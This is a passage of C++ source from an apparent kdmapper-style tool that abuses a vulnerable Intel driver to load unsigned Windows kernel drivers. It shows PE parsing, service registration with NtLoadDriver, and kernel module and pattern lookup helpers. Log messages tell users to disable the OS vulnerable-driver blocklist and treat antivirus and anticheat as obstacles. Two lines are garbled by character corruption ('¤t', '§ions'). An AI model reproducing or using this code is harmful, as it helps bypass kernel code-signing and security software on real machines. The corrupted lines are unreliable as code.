} PiDDBCacheEntry, * NPiDDBCacheEntry;
}
include/portable_executable.hpp
#pragma once
#include <Windows.h>
#include <vector>
#include <string>
namespace portable_executable
{
struct RelocInfo
{
ULONG64 address;
USHORT* item;
ULONG32 count;
};
struct ImportFunctionInfo
{
std::string name;
ULONG64* address;
};
struct ImportInfo
{
std::string module_name;
std::vector<ImportFunctionInfo> function_datas;
};
using vec_sections = std::vector<IMAGE_SECTION_HEADER>;
using vec_relocs = std::vector<RelocInfo>;
using vec_imports = std::vector<ImportInfo>;
PIMAGE_NT_HEADERS64 GetNtHeaders(void* image_base);
vec_relocs GetRelocs(void* image_base);
vec_imports GetImports(void* image_base);
}
portable_executable.cpp
#include "portable_executable.hpp"
#include <Windows.h>
#include <string>
PIMAGE_NT_HEADERS64 portable_executable::GetNtHeaders(void* image_base) {
const auto dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(image_base);
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE)
return nullptr;
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS64>(reinterpret_cast<ULONG64>(image_base) + dos_header->e_lfanew);
if (nt_headers->Signature != IMAGE_NT_SIGNATURE)
return nullptr;
return nt_headers;
}
portable_executable::vec_relocs portable_executable::GetRelocs(void* image_base) {
const PIMAGE_NT_HEADERS64 nt_headers = GetNtHeaders(image_base);
if (!nt_headers)
return {};
vec_relocs relocs;
DWORD reloc_va = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
if (!reloc_va) //Fix from @greetmark of UnknownCheats Forum
return {};
auto current_base_relocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<ULONG64>(image_base) + reloc_va);
const auto reloc_end = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<ULONG64>(current_base_relocation) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);
while (current_base_relocation < reloc_end && current_base_relocation->SizeOfBlock) {
RelocInfo reloc_info;
reloc_info.address = reinterpret_cast<ULONG64>(image_base) + current_base_relocation->VirtualAddress;
reloc_info.item = reinterpret_cast<USHORT*>(reinterpret_cast<ULONG64>(current_base_relocation) + sizeof(IMAGE_BASE_RELOCATION));
reloc_info.count = (current_base_relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
relocs.push_back(reloc_info);
current_base_relocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<ULONG64>(current_base_relocation) + current_base_relocation->SizeOfBlock);
}
return relocs;
}
portable_executable::vec_imports portable_executable::GetImports(void* image_base) {
const PIMAGE_NT_HEADERS64 nt_headers = GetNtHeaders(image_base);
if (!nt_headers)
return {};
DWORD import_va = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
//not imports necesary
if (!import_va)
return {};
vec_imports imports;
auto current_import_descriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(reinterpret_cast<ULONG64>(image_base) + import_va);
while (current_import_descriptor->FirstThunk) {
ImportInfo import_info;
import_info.module_name = std::string(reinterpret_cast<char*>(reinterpret_cast<ULONG64>(image_base) + current_import_descriptor->Name));
auto current_first_thunk = reinterpret_cast<PIMAGE_THUNK_DATA64>(reinterpret_cast<ULONG64>(image_base) + current_import_descriptor->FirstThunk);
auto current_originalFirstThunk = reinterpret_cast<PIMAGE_THUNK_DATA64>(reinterpret_cast<ULONG64>(image_base) + current_import_descriptor->OriginalFirstThunk);
while (current_originalFirstThunk->u1.Function) {
ImportFunctionInfo import_function_data;
auto thunk_data = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(reinterpret_cast<ULONG64>(image_base) + current_originalFirstThunk->u1.AddressOfData);
import_function_data.name = thunk_data->Name;
import_function_data.address = ¤t_first_thunk->u1.Function;
import_info.function_datas.push_back(import_function_data);
++current_originalFirstThunk;
++current_first_thunk;
}
imports.push_back(import_info);
++current_import_descriptor;
}
return imports;
}
include/service.hpp
#pragma once
#include <string>
#include "nt.hpp"
namespace service
{
NTSTATUS RegisterAndStart(const std::wstring& driver_path, const std::wstring& serviceName);
NTSTATUS StopAndRemove(const std::wstring& serviceName);
};
service.cpp
#include "service.hpp"
#include <Windows.h>
#include <string>
#include <iostream>
#include "utils.hpp"
#include "nt.hpp"
NTSTATUS service::RegisterAndStart(const std::wstring& driver_path, const std::wstring& serviceName) {
const static DWORD ServiceTypeKernel = 1;
const std::wstring servicesPath = L"SYSTEM\\CurrentControlSet\\Services\\" + serviceName;
const std::wstring nPath = L"\\??\\" + driver_path;
HKEY dservice;
LSTATUS status = RegCreateKeyW(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &dservice); //Returns Ok if already exists
if (status != ERROR_SUCCESS) {
kdmLog("[-] Can't create service key" << std::endl);
return STATUS_REGISTRY_IO_FAILED;
}
status = RegSetKeyValueW(dservice, NULL, L"ImagePath", REG_EXPAND_SZ, nPath.c_str(), (DWORD)(nPath.size()*sizeof(wchar_t)));
if (status != ERROR_SUCCESS) {
RegCloseKey(dservice);
RegDeleteTreeW(HKEY_LOCAL_MACHINE, servicesPath.c_str());
kdmLog("[-] Can't create 'ImagePath' registry value" << std::endl);
return STATUS_REGISTRY_IO_FAILED;
}
status = RegSetKeyValueW(dservice, NULL, L"Type", REG_DWORD, &ServiceTypeKernel, sizeof(DWORD));
if (status != ERROR_SUCCESS) {
RegCloseKey(dservice);
RegDeleteTreeW(HKEY_LOCAL_MACHINE, servicesPath.c_str());
kdmLog("[-] Can't create 'Type' registry value" << std::endl);
return STATUS_REGISTRY_IO_FAILED;
}
RegCloseKey(dservice);
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL) {
RegDeleteTreeW(HKEY_LOCAL_MACHINE, servicesPath.c_str());
return STATUS_UNSUCCESSFUL;
}
//auto RtlAdjustPrivilege = (nt::RtlAdjustPrivilege)GetProcAddress(ntdll, "RtlAdjustPrivilege");
//auto NtLoadDriver = (nt::NtLoadDriver)GetProcAddress(ntdll, "NtLoadDriver");
ULONG SE_LOAD_DRIVER_PRIVILEGE = 10UL;
BOOLEAN SeLoadDriverWasEnabled;
NTSTATUS ntStatus = nt::RtlAdjustPrivilege(SE_LOAD_DRIVER_PRIVILEGE, TRUE, FALSE, &SeLoadDriverWasEnabled);
if (!NT_SUCCESS(ntStatus)) {
RegDeleteTreeW(HKEY_LOCAL_MACHINE, servicesPath.c_str());
kdmLog("Fatal error: failed to acquire SE_LOAD_DRIVER_PRIVILEGE. Make sure you are running as administrator." << std::endl);
return ntStatus;
}
std::wstring wdriver_reg_path = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\" + serviceName;
UNICODE_STRING serviceStr;
RtlInitUnicodeString(&serviceStr, wdriver_reg_path.c_str());
ntStatus = nt::NtLoadDriver(&serviceStr);
kdmLog("[+] NtLoadDriver Status 0x" << std::hex << ntStatus << std::endl);
if (ntStatus == STATUS_IMAGE_CERT_REVOKED) {
kdmLog("[-] Your vulnerable driver list is enabled and have blocked the driver loading, you must disable vulnerable driver list to use kdmapper with intel driver" << std::endl);
kdmLog("[-] Registry path to disable vulnerable driver list: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\CI\\Config" << std::endl);
kdmLog("[-] Set 'VulnerableDriverBlocklistEnable' as dword to 0" << std::endl);
}
else if (ntStatus == STATUS_ACCESS_DENIED || ntStatus == STATUS_INSUFFICIENT_RESOURCES) {
kdmLog("[-] Access Denied or Insufficient Resources (0x" << std::hex << ntStatus << "), Probably some anticheat or antivirus running blocking the load of vulnerable driver" << std::endl);
}
if (!NT_SUCCESS(ntStatus)) {
//Remove the service
status = RegDeleteTreeW(HKEY_LOCAL_MACHINE, servicesPath.c_str());
if (status != ERROR_SUCCESS) {
kdmLog("[-] Can't delete service registry key after NtLoadDriver failure" << std::endl);
}
}
return ntStatus;
}
NTSTATUS service::StopAndRemove(const std::wstring& serviceName) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL)
return STATUS_UNSUCCESSFUL;
std::wstring wdriver_reg_path = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\" + serviceName;
UNICODE_STRING serviceStr;
RtlInitUnicodeString(&serviceStr, wdriver_reg_path.c_str());
HKEY driver_service;
std::wstring servicesPath = L"SYSTEM\\CurrentControlSet\\Services\\" + serviceName;
LSTATUS status = RegOpenKeyW(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &driver_service);
if (status != ERROR_SUCCESS) {
if (status == ERROR_FILE_NOT_FOUND) {
return STATUS_SUCCESS; //already removed
}
return STATUS_REGISTRY_IO_FAILED;
}
RegCloseKey(driver_service);
NTSTATUS st = nt::NtUnloadDriver(&serviceStr);
kdmLog("[+] NtUnloadDriver Status 0x" << std::hex << st << std::endl);
if (st != ERROR_SUCCESS) {
kdmLog("[-] Driver Unload Failed!!" << std::endl);
status = RegDeleteTreeW(HKEY_LOCAL_MACHINE, servicesPath.c_str());
return st; //lets consider unload fail as error because can cause problems with anti cheats later
}
status = RegDeleteTreeW(HKEY_LOCAL_MACHINE, servicesPath.c_str());
if (status != ERROR_SUCCESS) {
return STATUS_REGISTRY_IO_FAILED;
}
return st;
}
include/utils.hpp
#pragma once
#include <Windows.h>
#include <string>
#include <vector>
#include <iostream>
#if defined(DISABLE_OUTPUT)
#define kdmLog(content)
#else
#define kdmLog(content) std::wcout << content
#endif
namespace kdmUtils
{
std::wstring GetFullTempPath();
bool ReadFileToMemory(const std::wstring& file_path, std::vector<BYTE>* out_buffer);
bool CreateFileFromMemory(const std::wstring& desired_file_path, const char* address, size_t size);
uint64_t GetKernelModuleAddress(const std::string& module_name);
BOOLEAN bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask);
uintptr_t FindPattern(uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask);
PVOID FindSection(const char* sectionName, uintptr_t modulePtr, PULONG size);
std::wstring GetCurrentAppFolder();
}
utils.cpp
#include "utils.hpp"
#include <Windows.h>
#include <iostream>
#include <vector>
#include <fstream>
#include "nt.hpp"
std::wstring kdmUtils::GetFullTempPath() {
wchar_t temp_directory[MAX_PATH + 1] = { 0 };
const uint32_t get_temp_path_ret = GetTempPathW(sizeof(temp_directory) / 2, temp_directory);
if (!get_temp_path_ret || get_temp_path_ret > MAX_PATH + 1) {
kdmLog(L"[-] Failed to get temp path" << std::endl);
return L"";
}
if (temp_directory[wcslen(temp_directory) - 1] == L'\\')
temp_directory[wcslen(temp_directory) - 1] = 0x0;
return std::wstring(temp_directory);
}
bool kdmUtils::ReadFileToMemory(const std::wstring& file_path, std::vector<BYTE>* out_buffer) {
std::ifstream file_ifstream(file_path, std::ios::binary);
if (!file_ifstream)
return false;
out_buffer->assign((std::istreambuf_iterator<char>(file_ifstream)), std::istreambuf_iterator<char>());
file_ifstream.close();
return true;
}
bool kdmUtils::CreateFileFromMemory(const std::wstring& desired_file_path, const char* address, size_t size) {
std::ofstream file_ofstream(desired_file_path.c_str(), std::ios_base::out | std::ios_base::binary);
if (!file_ofstream.write(address, size)) {
file_ofstream.close();
return false;
}
file_ofstream.close();
return true;
}
uint64_t kdmUtils::GetKernelModuleAddress(const std::string& module_name) {
void* buffer = nullptr;
DWORD buffer_size = 0;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH) {
if (buffer != nullptr)
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status)) {
if (buffer != nullptr)
VirtualFree(buffer, 0, MEM_RELEASE);
return 0;
}
const auto modules = static_cast<nt::PRTL_PROCESS_MODULES>(buffer);
if (!modules)
return 0;
for (auto i = 0u; i < modules->NumberOfModules; ++i) {
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[i].FullPathName) + modules->Modules[i].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name.c_str()))
{
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[i].ImageBase);
VirtualFree(buffer, 0, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, 0, MEM_RELEASE);
return 0;
}
BOOLEAN kdmUtils::bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask) {
for (; *szMask; ++szMask, ++pData, ++bMask)
if (*szMask == 'x' && *pData != *bMask)
return 0;
return (*szMask) == 0;
}
uintptr_t kdmUtils::FindPattern(uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask) {
size_t max_len = dwLen - strlen(szMask);
for (uintptr_t i = 0; i < max_len; i++)
if (bDataCompare((BYTE*)(dwAddress + i), bMask, szMask))
return (uintptr_t)(dwAddress + i);
return 0;
}
PVOID kdmUtils::FindSection(const char* sectionName, uintptr_t modulePtr, PULONG size) {
size_t namelength = strlen(sectionName);
PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)(modulePtr + ((PIMAGE_DOS_HEADER)modulePtr)->e_lfanew);
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(headers);
for (DWORD i = 0; i < headers->FileHeader.NumberOfSections; ++i) {
PIMAGE_SECTION_HEADER section = §ions[i];
if (memcmp(section->Name, sectionName, namelength) == 0 &&
namelength == strlen((char*)section->Name)) {
if (!section->VirtualAddress) {
return 0;
}
if (size) {
*size = section->Misc.VirtualSize;
}
return (PVOID)(modulePtr + section->VirtualAddress);
}
}
return 0;
}
std::wstring kdmUtils::GetCurrentAppFolder() {
wchar_t buffer[1024];
GetModuleFileNameW(NULL, buffer, 1024);
std::wstring::size_type pos = std::wstring(buffer).find_last_of(L"\\/");
return std::wstring(buffer).substr(0, pos);
}